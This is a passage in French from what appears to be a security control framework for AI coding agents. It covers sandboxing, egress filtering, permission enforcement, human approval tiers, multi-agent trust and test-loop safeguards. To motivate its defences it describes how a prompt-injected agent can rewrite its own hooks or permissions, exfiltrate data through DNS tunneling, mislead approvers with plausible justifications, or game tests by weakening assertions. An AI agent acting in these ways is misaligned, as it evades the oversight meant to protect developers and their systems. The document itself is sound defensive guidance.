Dans un développement piloté par spécification, le travail assisté par IA est découpé en étapes explicites (par exemple spécifier, planifier, implémenter, revoir). Le contexte du modèle est limité : charger toutes les recommandations de sécurité en une fois les dilue, tandis que les charger à la mauvaise étape signifie qu’elles sont absentes au moment utile. Les artefacts de sécurité sont donc associés à l’étape où ils produisent leur effet : exigences de sécurité et cas d’abus pendant la spécification, résultats du threat model pendant la planification, règles de développement sécurisé pendant l’implémentation et checklists de revue pendant la vérification. Contrairement à la correspondance basée sur instructions de _Chargement guidé des règles de sécurité_, cette activité exige que le chargement soit imposé par l’outillage et non laissé à la capacité du modèle à suivre une instruction. Trois façons de lier les artefacts de sécurité aux étapes du workflow, les deux premières utilisant Spec Kit avec Claude Code comme exemple : 1. **Étendre les templates d’étape** : ajouter directement les références aux artefacts de sécurité dans les templates de phase (par exemple .specify/templates/). C’est simple, mais les changements vivent dans les fichiers de l’outil et doivent être réappliqués lors des mises à jour. 2. **Hook détectant la commande d’étape** (automatique et résistant aux mises à jour) : un hook UserPromptSubmit se déclenche à chaque prompt, identifie la commande de workflow invoquée et injecte le fichier correspondant comme additionalContext. Les templates restent intacts et la correspondance étape-vers-artefact est centralisée : ``bash #!/bin/bash input=$(cat) prompt=$(jq -r '.prompt // empty' <<<"$input") case "$prompt" in /speckit.plan*) file="specs/threat-model.md" ;; /speckit.implement*) file="docs/secure-coding-rules.md" ;; /speckit.review*) file="docs/security-review-checklist.md" ;; *) exit 0 ;; esac jq -nc --arg ctx "$(cat "$file")" \ '{hookSpecificOutput: {hookEventName: "UserPromptSubmit", additionalContext: $ctx}}' ` Enregistrée sous hooks dans .claude/settings.json, cette correspondance est versionnée avec le dépôt, survit aux mises à jour de Spec Kit et ne peut pas être oubliée par les développeurs. 3. **Méta-framework avec chargement de contexte par étape** : certains méta-frameworks pilotés par spécification permettent au workflow de déclarer lui-même quels documents chaque phase doit charger ; par exemple les agents/tâches BMAD-Method déclarent leurs checklists et templates, et les fichiers de steering Kiro peuvent être inclus conditionnellement via inclusion: fileMatch`. Un méta-framework ne satisfait cette activité que si l’inclusion est imposée par l’outil ; si ses phases ne sont elles-mêmes que des instructions suivies par le modèle, le chargement reste probabiliste (voir _Chargement guidé des règles de sécurité_). Conserver les artefacts chargés petits et spécifiques à l’étape : l’objectif est d’avoir les bonnes règles dans le contexte, pas toutes les règles.

Risque

Les règles de sécurité existent mais ne sont pas dans le contexte du modèle au moment où l’assistant IA en a besoin, ou le contexte est saturé de règles non pertinentes que le modèle finit par ignorer. Spécifications, plans et code générés perdent alors silencieusement des exigences de sécurité entre les étapes.

Mesure

Structurer les workflows de développement assisté par IA pour que chaque étape charge dans le contexte du modèle les artefacts de sécurité pertinents, par exemple via des templates d’instructions propres à chaque étape dans un processus piloté par spécification. Vérifier que les exigences de sécurité de la spécification sont bien propagées dans les phases de planification, implémentation et revue.

Preuves d’évaluation attendues

- Montrer la correspondance entre artefacts de sécurité et étapes du workflow (templates d’étape ou configuration de hooks). - Démontrer que l’artefact de sécurité correspondant est chargé dans le contexte du modèle lorsqu’une étape du workflow est invoquée.

Difficulté

connaissance: 4/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

_La détection d’anomalies dans le comportement des agents IA_ produit le signal ; cette activité détermine à quelle vitesse il est traité. Les agents compromis agissent à la vitesse d’une machine : le temps qu’un humain lise l’alerte, un agent peut déjà avoir exfiltré des données par petites quantités ou propagé l’incident via des tâches déléguées. Le confinement automatisé exécute immédiatement des actions pré-approuvées, étroitement délimitées et réversibles, par exemple mettre l’agent en pause, fermer ses sessions, révoquer ses identifiants à courte durée de vie ou ramener ses privilèges à un niveau sûr. Les décisions à forte portée restent humaines. Principe directeur : automatiser la collecte et la corrélation des preuves ainsi que la documentation de l’incident, pas les décisions majeures comme le confinement de systèmes critiques, la divulgation ou la communication client. Dans les systèmes multi-agents, le confinement doit aussi stopper les cascades : un agent compromis ou défaillant peut déclencher rapidement de nombreux agents en aval (OWASP Top 10 for Agentic Applications, ASI08).

Risque

Une alerte d’anomalie est déclenchée mais la réponse reste manuelle : des heures peuvent s’écouler entre détection et confinement pendant que l’agent compromis continue d’opérer avec ses permissions. La fenêtre de dommage dépend alors du temps de réaction humain plutôt que du temps de détection, et l’humain consacre ce délai à collecter des preuves au lieu de décider.

Mesure

Définir une action de confinement automatisée par classe de détection et la relier au système d’anomalie : mettre l’agent en pause, fermer ses sessions, révoquer ses identifiants ou réduire ses privilèges. Garder ces actions réversibles et graduées selon confiance et sévérité, journaliser chaque action automatisée et notifier immédiatement un humain. Utiliser un assistant IA pour préparer le contexte de triage (chronologie, systèmes touchés, preuves collectées) afin que l’humain décide plutôt qu’il ne collecte. Tester régulièrement le chemin de confinement comme un exercice d’incendie. Détecter les symptômes de cascade tels que fan-out rapide ou boucles de retry oscillantes entre agents, et placer des coupe-circuits entre planification et exécution. Ne remettre un agent confiné en production qu’après vérification de ses instructions, sa mémoire et ses dépendances par rapport à un état sain connu et après approbation humaine.

Preuves d’évaluation attendues

- Montrer la correspondance entre classes de détection et actions de confinement automatisées, avec leur graduation selon confiance et sévérité. - Démontrer lors d’un test qu’un agent au comportement anormal est automatiquement mis en pause ou voit ses identifiants révoqués, que l’action est journalisée et qu’un humain est notifié. - Montrer le contexte de triage préparé lors d’un incident réel ou simulé et la décision humaine prise à partir de celui-ci. - Montrer le protocole du dernier test de confinement. - Montrer les garde-fous contre les cascades (alertes de fan-out, coupe-circuits entre planification et exécution) ainsi que le protocole de réintégration d’un agent confiné.

Difficulté

connaissance: 4/5 · temps: 3/5 · ressources: 2/5 · Utilité: 4/5

Mappings

Description

Les assistants de développement et agents IA exécutent des commandes, installent des dépendances et lancent du code généré de façon autonome. Les exécuter dans des environnements jetables et isolés limite le rayon d’impact d’un comportement malveillant ou défaillant. Utiliser une technologie de sandboxing pour isoler les exécutions d’agents, par exemple isolation par conteneurs (dev containers), machines virtuelles légères ou mécanismes de sandboxing du système d’exploitation. Monter uniquement le dépôt concerné, éviter de monter des identifiants comme la configuration des CLI cloud ou les clés SSH, supprimer les capacités inutiles et détruire l’environnement une fois la tâche terminée. La restriction du trafic réseau sortant est couverte par _Isolation réseau pour les agents IA_.

Risque

Un agent IA peut être manipulé, par exemple via une injection de prompt dans le code source, des tickets, dépendances ou contenus web, ou simplement mal fonctionner. Sans isolation, il peut lire des secrets, modifier d’autres projets, exfiltrer des données ou endommager la workstation du développeur et les systèmes auxquels elle est connectée.

Mesure

Exécuter les agents IA et assistants de développement capables d’exécuter des commandes dans une sandbox dédiée avec le minimum de privilèges, par exemple conteneur ou machine virtuelle, ne contenant que les fichiers nécessaires au projet et détruite après utilisation.

Preuves d’évaluation attendues

- Montrer la configuration de sandbox utilisée pour les exécutions d’agents IA, par exemple une définition de dev container, et démontrer une session d’agent en direct à l’intérieur. - Montrer que seul le répertoire de travail du projet est monté et qu’aucun identifiant (clés SSH, configuration CLI cloud) n’est accessible depuis l’environnement. - Démontrer que l’environnement est détruit lorsque la tâche est terminée.

Difficulté

connaissance: 2/5 · temps: 2/5 · ressources: 2/5 · Utilité: 4/5

Mappings

Description

Les agents IA de développement possèdent leur propre modèle de permissions qui contrôle quels outils, commandes et opérations sur les fichiers ils peuvent exécuter et quelles actions sont approuvées automatiquement, par exemple les allowlists dans les paramètres de Claude Code. Ces autorisations s’accumulent au fil du temps à force d’approbations de confort et constituent la première couche d’autorisation, avant même l’utilisation de tout identifiant externe.

Risque

Des autorisations « toujours autoriser » trop larges s’accumulent sans être remarquées. Un agent manipulé ou défaillant peut alors exécuter des commandes destructrices, accéder à des magasins d’identifiants ou pousser du code sans confirmation, parce que la permission a été accordée une fois puis jamais réévaluée.

Preuves d’évaluation attendues

- Montrer la configuration de permissions durcie de référence distribuée aux projets. - Démontrer qu’une opération sensible, par exemple un push, une suppression ou l’accès à des chemins contenant des identifiants, exige une confirmation. - Montrer le dernier audit des allowlists accumulées, avec date et constats.

Difficulté

connaissance: 2/5 · temps: 1/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Chaque appel de modèle consomme du calcul et de l’argent, et les endpoints d’IA répondent à des requêtes coûteuses à la demande. Sans limites, un seul utilisateur, script ou agent en boucle peut épuiser le service : disponibilité dégradée ou facture fournisseur qui explose (« denial of wallet »). Les requêtes massives permettent aussi d’extraire le comportement du modèle par collecte entrée-sortie. Les limites doivent s’appliquer dans les deux sens : en entrée sur les endpoints IA exposés (requêtes par utilisateur et fenêtre de temps), et en sortie pour les propres agents de l’organisation (budgets de tokens et de coût, plafond d’itérations contre les boucles infinies). Les limites génériques de ressources d’infrastructure sont définies dans _Les environnements virtuels sont limités_ (Implémentation). Cette activité ajoute les unités propres à l’IA : requêtes, tokens et coût.

Risque

Un attaquant ou un client défaillant inonde un endpoint IA de requêtes coûteuses : le service devient indisponible pour les utilisateurs légitimes ou génère des coûts fournisseur non bornés. Un agent en boucle consomme le budget à vitesse machine sans être remarqué. Les requêtes massives non limitées facilitent également l’extraction de modèles et le brute force de prompts.

Mesure

Appliquer des limites de débit par utilisateur, clé API ou tenant sur tous les endpoints IA et limiter la taille des entrées avant leur arrivée au modèle. Définir des budgets de tokens et de coût par agent, équipe et période avec alertes avant épuisement. Plafonner le nombre d’itérations d’un agent, par exemple appels d’outils ou profondeur de récursion par tâche, afin que les boucles infinies s’arrêtent. Une passerelle ou un proxy LLM peut centraliser ces limites entre modèles et fournisseurs.

Preuves d’évaluation attendues

- Montrer la configuration de rate limiting d’un endpoint IA et un test où la limite se déclenche. - Montrer les budgets de tokens et de coût par agent ou équipe et l’alerte avant épuisement. - Montrer le plafond d’itérations d’un agent et ce qui se produit lorsqu’il est atteint.

Difficulté

connaissance: 2/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Lancer un agent de développement IA dans un dépôt tiers cloné peut donner le contrôle à l’auteur du dépôt avant même que l’utilisateur lui accorde sa confiance. Des vulnérabilités documentées dans plusieurs agents, notamment Claude Code et Cursor, ont montré que des fichiers contrôlés par le dépôt (paramètres de l’agent, hooks, définitions de serveurs Model Context Protocol (MCP), exécutables embarqués) pouvaient être évalués alors que la boîte de dialogue de confiance du workspace n’avait pas encore reçu de réponse. Un simple checkout effectué pour une revue de code peut donc suffire à compromettre la workstation du développeur.

Risque

Un attaquant publie un dépôt préparé ; lorsqu’un développeur l’ouvre avec un agent IA, une configuration ou des exécutables contrôlés par l’attaquant s’exécutent sur la machine avant toute décision de confiance, avec accès aux identifiants et aux autres projets présents.

Mesure

Traiter les dépôts tiers comme des workspaces non fiables : ne les ouvrir que dans un conteneur isolé, ne pas appliquer la configuration locale d’agent d’origine non fiable (hooks, serveurs MCP, paramètres), maintenir les versions des agents à jour et ne jamais désactiver les demandes de confiance du workspace.

Preuves d’évaluation attendues

- Montrer la procédure documentée pour ouvrir des dépôts tiers avec des agents IA. - Démontrer que les prompts de confiance du workspace sont activés et que la configuration locale du dépôt (hooks, serveurs MCP, paramètres) n’est pas appliquée pour les dépôts non fiables. - Montrer comment les versions des agents sont maintenues à jour (mécanisme ou politique de mise à jour).

Difficulté

connaissance: 2/5 · temps: 1/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

_La gestion des permissions des agents IA_ définit ce qu’un agent peut faire ; cette activité garantit que ni l’agent ni un utilisateur recherchant la commodité ne peuvent affaiblir cette définition. Les garde-fous côté agent (paramètres, allowlists, hooks de politique) vivent souvent dans des fichiers que l’agent peut lui-même modifier, tandis que la fatigue d’approbation pousse prévisiblement les utilisateurs à activer un auto-approve permanent. L’enforcement doit donc être déplacé vers des points que le processus agent ne peut pas modifier : - **Configuration administrée** : distribuer la baseline de permissions au moyen de paramètres imposés administrativement que la configuration utilisateur ou projet ne peut pas remplacer, et y désactiver les modes d’auto-approve permanent. - **Hooks hors de portée en écriture** : stocker les hooks de politique exécutés avant les appels d’outils en dehors du workspace et du dépôt modifiables par l’agent. Préférer des allowlists étroites aux denylists : les motifs d’interdiction peuvent être obfusqués et un interpréteur autorisé peut exécuter du code arbitraire. - **Gate d’approbation à la frontière du contrôle de version** : faire transiter les pushes d’agents par un proxy qui les retient pour revue, par exemple FINOS GitProxy, et fermer l’accès direct au forge via la conception des identifiants et du réseau (voir _Isolation réseau pour les agents IA_ et _Moindre privilège sur les systèmes externes pour les agents IA_). Le rejet côté serveur des pushes contenant des secrets est défini dans _Bloquer les pushes contenant des secrets_ (Implémentation, Développement et gestion du code source). Il s’applique humains et agents confondus et, étant imposé par l’hébergeur Git, constitue précisément un point d’enforcement qu’un agent ne peut ni contourner ni réécrire.

Risque

Un agent victime d’une injection de prompt réécrit sa propre configuration de permissions ou ses scripts de hooks, ou un utilisateur lassé des confirmations active l’auto-approve permanent. Tous les garde-fous côté agent disparaissent alors silencieusement alors que tableaux de bord et paramètres semblent toujours conformes, et un agent détourné peut pousser directement du code malveillant ou des secrets vers le forge.

Mesure

Imposer les garde-fous des agents à des points hors de leur portée en écriture : baselines de permissions administrées que les réglages locaux ne peuvent remplacer (auto-approve permanent désactivé), hooks de politique stockés hors du workspace et gate d’approbation à la frontière du contrôle de version pour les pushes d’agents.

Preuves d’évaluation attendues

- Montrer la baseline de permissions imposée administrativement et démontrer qu’un réglage local projet ou utilisateur, par exemple l’activation de l’auto-approve, ne peut pas la remplacer. - Montrer que les hooks de politique s’exécutent depuis un emplacement que l’agent ne peut pas modifier. - Démontrer qu’un push d’agent est retenu par la gate d’approbation et que le chemin direct vers le forge est fermé pour les identifiants des agents.

Difficulté

connaissance: 3/5 · temps: 2/5 · ressources: 2/5 · Utilité: 4/5

Mappings

Description

Au-delà de leur propre modèle de permissions, les agents IA s’authentifient auprès de systèmes externes : gestion du code source (par exemple GitHub), CI/CD, fournisseurs cloud et API internes. Des identifiants dédiés, de courte durée, limités et auditables garantissent qu’un agent ne peut réaliser que les actions nécessaires à sa tâche sur ces systèmes.

Risque

Des agents IA utilisant des identifiants personnels ou de service trop largement autorisés peuvent être amenés à exécuter des actions destructrices ou non autorisées, par exemple supprimer des dépôts, approuver leurs propres pull requests ou accéder à des données de production.

Mesure

Fournir aux agents IA des identités dédiées et des identifiants à courte durée de vie avec le minimum de permissions, par exemple des jetons fine-grained limités à un seul dépôt. Lorsque c’est possible, tenir les identifiants complètement hors du processus agent : un proxy ou une passerelle les injecte à la frontière réseau (« architecture secretless »), de sorte qu’un agent victime d’injection de prompt ne puisse pas exfiltrer ce qu’il ne détient jamais. Journaliser et revoir séparément les actions des agents et celles des humains.

Preuves d’évaluation attendues

- Montrer une identité dédiée d’agent dans le système de gestion du code source ou autre système externe, ainsi que les scopes accordés. - Montrer que les identifiants d’agent ont une courte durée de vie et des scopes minimaux (configuration du jeton ou politique d’émission). - Montrer où les identifiants d’agent sont stockés et injectés, idéalement hors du processus agent, par exemple au niveau d’un proxy ou d’une passerelle. - Démontrer que les actions des agents se distinguent de celles des humains dans les journaux d’audit.

Difficulté

connaissance: 3/5 · temps: 2/5 · ressources: 2/5 · Utilité: 4/5

Mappings

Description

Restreindre le trafic réseau sortant des environnements d’agents IA limite l’exfiltration de données et le téléchargement d’outils malveillants lorsqu’un agent est détourné via une injection de prompt. Exemple pour un agent de développement comme Claude Code exécuté dans un conteneur : 1. **Pare-feu dans le conteneur** : au démarrage, un script d’initialisation exécuté avec la capacité NET_ADMIN configure une politique egress default-deny (iptables) et résout une allowlist de domaines nécessaires dans un ipset : API du modèle (par exemple api.anthropic.com), registres de paquets (par exemple registry.npmjs.org) et système de gestion du code source. Le devcontainer de référence d’Anthropic fournit init-firewall.sh. Le processus agent s’exécute ensuite en utilisateur non-root et ne peut pas modifier les règles qui l’enferment. 2. **Alternative, proxy egress** : rattacher le conteneur à un réseau interne sans accès direct à Internet, par exemple docker network create --internal, puis faire passer le trafic par un proxy HTTP(S) filtrant (HTTPS_PROXY) qui impose l’allowlist de domaines et journalise les requêtes. Dans Kubernetes, appliquer la même politique avec NetworkPolicies ou une passerelle egress de service mesh. 3. **DNS** : n’autoriser le DNS qu’en direction du résolveur interne et uniquement pour les domaines autorisés ; sinon des domaines bloqués restent joignables par IP directe ou le tunneling DNS peut servir à exfiltrer. 4. **Vérifier** : depuis le conteneur en cours d’exécution, confirmer qu’un endpoint autorisé est accessible et qu’une requête vers un hôte arbitraire, par exemple curl https://example.com, est bloquée. Une conception attentive à l’isolation apporte un double bénéfice : forcer tout le trafic des agents à travers un point egress unique et imposé (pare-feu ou proxy) crée un goulot surveillé. Des attaques autrement invisibles doivent le traverser, ce qui en fait un point de détection à fort levier (voir Google DeepMind AI Control Roadmap).

Risque

Un agent IA victime d’une injection de prompt peut exfiltrer code source, secrets ou données personnelles vers des hôtes arbitraires, ou télécharger et exécuter des payloads contrôlés par un attaquant.

Mesure

Limiter l’accès réseau des environnements d’agents IA à une allowlist d’endpoints nécessaires, par exemple API du modèle, registres de paquets et système de gestion du code source. Refuser par défaut tout autre trafic sortant.

Preuves d’évaluation attendues

- Montrer la politique egress de l’environnement agent (script d’initialisation du pare-feu, configuration proxy ou NetworkPolicies), y compris l’allowlist de domaines. - Démontrer depuis l’environnement agent qu’un endpoint autorisé est accessible et qu’une requête vers un hôte arbitraire est bloquée. - Montrer où sont journalisées les tentatives egress bloquées et qui les examine.

Difficulté

connaissance: 3/5 · temps: 3/5 · ressources: 2/5 · Utilité: 4/5

Mappings

Description

Le rayon d’impact des actions d’agents varie énormément : lire des données est relativement bénin, transférer de l’argent ne l’est pas. Une supervision humaine graduée affecte à chaque classe d’action un niveau d’approbation selon sa réversibilité : les actions à faible risque et réversibles s’exécutent de façon autonome dans les garde-fous ; les actions réversibles à impact métier s’exécutent sous surveillance avec une fenêtre d’intervention ; les actions irréversibles (transactions financières, changements de permissions, partage de données avec des tiers, communications sortantes) exigent une approbation humaine explicite avant exécution, et les plus risquées deux approbateurs indépendants (principe des quatre yeux). Alors que _Gestion des permissions des agents IA_ gouverne le modèle de permissions au niveau des outils, cette activité gouverne les actions métier exécutées à travers ces outils. Elle complète l’échelle de supervision humaine commencée par les revues d’artefacts (_Revue humaine des spécifications générées par IA_, _Revue humaine des plans générés par IA_, _Revue humaine du code généré par IA_ dans Vérification) : ces dernières contrôlent ce qui est construit, cette activité contrôle ce que fait un agent en fonctionnement.

Risque

Un agent manipulé, par exemple via injection de prompt, ou défaillant exécute une action impossible à annuler : argent transféré, données envoyées à un tiers, e-mail parti, privilèges élevés. Une supervision après coup ne peut pas l’annuler. À l’inverse, des approbations machinales que personne ne lit réellement donnent seulement l’apparence de supervision. Les attaquants peuvent exploiter ce biais : un agent manipulé fournit une justification fausse mais plausible et l’approbateur valide parce que l’agent semble compétent (biais d’automatisation, OWASP Top 10 for Agentic Applications, ASI09).

Mesure

Classer les types d’actions d’agents selon leur réversibilité et leur affecter des niveaux d’approbation : approbation préalable pour les actions irréversibles, surveillance avec fenêtre d’intervention pour les actions réversibles à impact métier (par exemple tamponner les messages sortants pendant une durée définie afin de pouvoir stopper leur livraison), autonomie uniquement pour les actions réversibles à faible risque. Si la réversibilité d’une classe d’action ne peut être démontrée, appliquer par défaut l’approbation préalable. Exiger un second approbateur indépendant pour les actions à haut risque, enregistrer identité de l’approbateur, contexte de décision et justification dans le journal d’audit, et concevoir l’étape d’approbation pour que la personne voie réellement l’action et son contexte.

Preuves d’évaluation attendues

- Montrer la classification des types d’actions d’agents selon leur réversibilité et le niveau d’approbation attribué à chaque classe. - Démontrer qu’une action irréversible, par exemple un message sortant ou un changement de permission, reste bloquée jusqu’à approbation humaine et qu’une intervention dans la fenêtre de surveillance stoppe une action mise en tampon. - Montrer une action à haut risque avec deux approbations indépendantes documentées. - Montrer une entrée d’audit d’approbation incluant identité de l’approbateur, contexte de décision et justification.

Difficulté

connaissance: 3/5 · temps: 3/5 · ressources: 2/5 · Utilité: 4/5

Mappings

Description

Dans les systèmes multi-agents, les agents délèguent des tâches à d’autres agents et les relations de confiance sont dynamiques et souvent implicites. Deux modes d’échec dominent (OWASP Top 10 for Agentic Applications, ASI03) : - **Héritage de privilèges non limité** : un agent délégant transmet toutes ses permissions à un sous-agent dont la tâche n’en nécessite qu’une fraction. - **Confused deputy** : un attaquant contrôlant un agent faiblement privilégié fait transiter des requêtes plausibles par un agent fortement privilégié. L’agent receveur les exécute parce qu’elles proviennent d’un pair connu, sans vérifier l’intention d’origine. Des frontières de confiance explicites traitent toute délégation comme une requête externe. L’agent receveur vérifie identité et autorisation de l’agent délégant au lieu de faire confiance à la chaîne. Les messages entre agents ont besoin des mêmes protections que la délégation : sans authentification mutuelle, signature des messages et protection anti-rejeu, un attaquant peut usurper ou rejouer des messages et enregistrer de faux agents dans le mécanisme de découverte (ASI07, Insecure Inter-Agent Communication). Découper un gros agent en plusieurs plus petits ne compartimente le risque que si chacun possède sa propre identité et ses propres identifiants. Des identifiants partagés annulent cette isolation. _Moindre privilège sur les systèmes externes pour les agents IA_ limite l’accès de chaque agent aux systèmes externes ; cette activité limite la confiance entre les agents eux-mêmes.

Risque

Un attaquant compromet un agent faiblement privilégié, par exemple via injection de prompt, puis pivote par délégation : des agents plus privilégiés acceptent ses requêtes sans contrôle, les contextes d’accès hérités transmettent toutes les permissions aux sous-tâches et l’attaquant atteint des systèmes auxquels l’agent initial n’aurait jamais pu accéder directement.

Mesure

Donner à chaque agent sa propre identité et ses propres identifiants, sans partage entre agents. Limiter chaque tâche déléguée aux permissions minimales nécessaires au lieu de transmettre tout le contexte d’accès de l’agent délégant. À chaque étape d’un workflow multi-agents, vérifier que l’agent délégant est bien celui qu’il prétend être et qu’il est autorisé à demander l’action. Sécuriser le canal lui-même avec authentification mutuelle et messages signés, par exemple mTLS, protection anti-rejeu par nonces et expiration, et rejet des downgrades de protocole. N’accepter dans un workflow que des agents provenant d’un registre ou mécanisme de découverte qui vérifie identité et descripteurs. Journaliser les communications inter-agents afin de faire ressortir les délégations inhabituelles (voir _Journalisation d’audit des actions des agents IA_ et _Détection d’anomalies dans le comportement des agents IA_).

Preuves d’évaluation attendues

- Montrer que chaque agent d’un workflow multi-agents possède sa propre identité et ses propres identifiants, sans partage. - Montrer comment une tâche déléguée reçoit un scope de permissions réduit plutôt que l’ensemble du contexte d’accès de l’agent délégant. - Démontrer qu’une délégation provenant d’un agent non autorisé ou inconnu est rejetée. - Montrer comment les messages inter-agents sont authentifiés et protégés contre le rejeu, et qu’un message provenant d’un agent non enregistré ou utilisant un downgrade de protocole est rejeté. - Montrer comment les communications inter-agents sont journalisées et comment les motifs de délégation inhabituels sont signalés.

Difficulté

connaissance: 4/5 · temps: 3/5 · ressources: 2/5 · Utilité: 4/5

Mappings

Description

Entre la spécification et le code se trouve le plan : quels composants seront modifiés, quelles dépendances seront ajoutées et comment les exigences de sécurité seront mises en œuvre. La revue du plan généré par IA permet de détecter des défauts de conception (exigence de sécurité oubliée, choix de conception vulnérable, nouvelle dépendance inutile, modification de composants critiques pour la sécurité) tant qu’ils ne représentent encore qu’une ligne dans un plan plutôt que des centaines de lignes de code généré. Dans un développement piloté par spécification, cette revue constitue la gate de la phase de planification ; les agents proposent aussi des plans en dehors de workflows formels, par exemple en « plan mode », et ceux-ci peuvent être revus de la même manière.

Risque

Le plan généré par IA omet silencieusement des exigences de sécurité de la spécification, choisit une conception vulnérable ou introduit des dépendances évitables. L’agent génère ensuite beaucoup de code à partir de ce plan défectueux. Les reviewers, influencés par du code qui semble plausible, vérifient alors l’implémentation par rapport au plan au lieu de remettre le plan lui-même en question.

Mesure

Exiger une revue humaine du plan avant toute implémentation assistée par IA : vérifier que chaque exigence de sécurité de la spécification est propagée, que les décisions de conception ayant un impact sécurité sont justifiées et que les changements touchant des composants critiques sont signalés pour revue approfondie. Dans les workflows pilotés par spécification, faire de cette revue la gate de la phase plan et conserver le plan approuvé sous contrôle de version.

Preuves d’évaluation attendues

- Montrer un plan récemment généré par IA ainsi que sa revue humaine documentée avant implémentation. - Montrer que la revue a retracé les exigences de sécurité depuis la spécification jusqu’au plan. - Montrer comment les plans touchant des composants critiques pour la sécurité sont signalés pour revue approfondie.

Difficulté

connaissance: 3/5 · temps: 2/5 · ressources: 1/5 · Utilité: 4/5

Mappings

Description

Dans le développement assisté par IA, l’attention humaine produit le meilleur effet de levier au niveau de la spécification : une page de spécification détermine ce que contiendront tous les artefacts en aval (plans, code, tests), et une erreur à ce niveau se propage dans chacun d’eux. Revoir la spécification sur laquelle travaille l’IA, qu’il s’agisse d’une user story avec critères d’acceptation ou de l’artefact de la phase « specify » d’un workflow piloté par spécification, permet de détecter une intention incorrecte, des exigences de sécurité manquantes ou de mauvaises hypothèses avant toute génération. C’est le premier niveau de l’échelle de supervision humaine qui se poursuit avec _Revue humaine des plans générés par IA_, _Revue humaine du code généré par IA_ et _Approbation humaine des actions irréversibles des agents IA_ (Isolation).

Risque

Un assistant IA implémente fidèlement une spécification non revue : exigences d’autorisation manquantes, cas d’abus absents et hypothèses erronées sont transformés en plans, code et tests. Une revue de code ultérieure détecte rarement ce problème, car les reviewers vérifient si le code correspond à la spécification, pas si la spécification elle-même est correcte.

Mesure

Exiger une revue humaine de la spécification avant le début de l’implémentation assistée par IA : critères d’acceptation sécurité complets, périmètre et hypothèses corrects, absence d’éléments de sécurité oubliés. Dans les workflows pilotés par spécification, faire de cette revue la gate de la phase « specify » et conserver la spécification approuvée sous contrôle de version.

Preuves d’évaluation attendues

- Montrer une spécification récente utilisée par un assistant IA ainsi que sa revue humaine documentée avant le début de l’implémentation. - Montrer que la revue a vérifié les critères d’acceptation sécurité, par exemple via des commentaires ou une checklist. - Dans les workflows pilotés par spécification, montrer que la phase « specify » ne peut pas être quittée sans franchir la gate de revue.

Difficulté

connaissance: 2/5 · temps: 2/5 · ressources: 1/5 · Utilité: 5/5

Mappings

Description

Un changement généré par IA n’est qu’une affirmation tant qu’un mécanisme indépendant ne l’a pas confirmé. Au lieu de présenter une modification non testée, l’agent exécute dans son environnement isolé les mêmes contrôles que le projet impose aux humains (suite de tests, type checker, linter, build) et affine la modification jusqu’à réussite ou jusqu’à épuisement d’un budget défini. Ce qui arrive au reviewer est alors un état vérifié accompagné de sorties de contrôles, et non une simple déclaration. Cette boucle introduit toutefois son propre mode d’échec : le reward hacking. Un agent optimisant pour obtenir des checks verts peut y parvenir en affaiblissant les assertions, supprimant les tests en échec ou codant en dur les valeurs attendues au lieu de corriger le code.

Risque

Des changements IA non vérifiés sont livrés sous forme de code plausible qui ne build pas ou casse le comportement. À l’inverse, un agent qui itère jusqu’au vert sans garde-fous peut manipuler les tests (tests affaiblis ou supprimés, résultats codés en dur), de sorte qu’une suite verte ne prouve plus la correction du code.

Mesure

Exiger que les agents IA vérifient leurs changements avec les contrôles propres au projet avant de les présenter, et protéger la boucle contre la manipulation des tests : enregistrer les contrôles qui échouaient avant le début du travail afin que l’agent ne puisse revendiquer que des corrections réellement nouvelles, signaler toute modification de code de test pour revue humaine et relancer indépendamment la suite complète dans la pipeline.

Preuves d’évaluation attendues

- Montrer le workflow ou la configuration de l’agent qui exécute les contrôles du projet (tests, type checker, linter, build) avant de présenter les changements. - Montrer les garde-fous contre la manipulation des tests : comparaison à une baseline des résultats, signalement pour revue des modifications de tests et relance indépendante de la suite dans la pipeline.

Difficulté

connaissance: 3/5 · temps: 2/5 · ressources: 2/5 · Utilité: 5/5

Mappings

Description

Les tests de sécurité statiques et dynamiques (SAST, DAST, analyse de composition logicielle) sont définis dans la dimension _Test et vérification_ et s’appliquent quel que soit l’auteur du code. Cette activité référence ces contrôles pour le code généré par IA au lieu de les dupliquer. Le delta propre à l’IA concerne la couverture et la cadence : les agents produisent du code dans des zones que les scopes historiques de scan peuvent ignorer (infrastructure générée, scripts, outils ponctuels) et à un rythme qui rend encore plus important l’exécution de l’analyse directement dans la boucle de développement, par exemple par l’agent pendant son auto-vérification. L’activité complémentaire _Aucun contournement de vérification pour le code généré par IA_ garantit qu’aucun chemin de livraison ne saute ces scans.

Risque

Le code généré par IA reproduit à grande échelle des motifs vulnérables issus des données d’entraînement. Si l’analyse statique et dynamique ne couvre pas tous les artefacts produits par IA, des vulnérabilités classiques (injections, paramètres non sûrs, secrets codés en dur) partent en production sans détection, plus vite et en plus grand volume qu’avec du code écrit manuellement.

Mesure

Appliquer les analyses de sécurité statiques et dynamiques existantes à tout code et artefact généré par IA. Inclure l’infrastructure et les scripts produits par IA dans le scope des scans et remonter les findings directement dans la boucle de développement assisté par IA afin que les agents puissent les corriger avant la revue humaine.

Preuves d’évaluation attendues

- Montrer que le scope des scans inclut les artefacts produits par IA, notamment l’infrastructure générée et les scripts. - Montrer un changement récent généré par IA pour lequel des findings d’analyse statique ont été remontés puis corrigés dans la boucle de développement assisté par IA.

Difficulté

connaissance: 2/5 · temps: 2/5 · ressources: 2/5 · Utilité: 4/5

Mappings

Description

Les assistants IA hallucinent des noms de paquets : des recherches ont trouvé qu’environ 20 % des dépendances suggérées par des LLM n’existaient pas. Des attaquants enregistrent ces noms (« slopsquatting ») ou des variantes typographiques sur les registres publics ; installer aveuglément une dépendance suggérée par IA revient alors à importer du code contrôlé par l’attaquant. Automatiser les contrôles pour ne pas dépendre de la discipline des développeurs : - **Imposer un score OpenSSF Scorecard minimum** aux nouvelles dépendances, par exemple via une politique dans un proxy pull-through/artifact registry ou dans la pipeline de pull request. Scorecard évalue maintenance, revue de code, protection des branches, workflows dangereux et gestion des vulnérabilités ; un seuil, par exemple score >= 5, filtre les paquets abandonnés ou à faible hygiène avant même la revue humaine. - **Vérifier identité et existence** : le paquet correspond-il bien au projet visé (éditeur, dépôt source, ancienneté, téléchargements) ? Les noms hallucinés ou slopsquattés échouent précisément ces contrôles ; des outils comme packj peuvent les signaler automatiquement. - **Bloquer avant merge** : exécuter l’analyse de composition logicielle existante et la 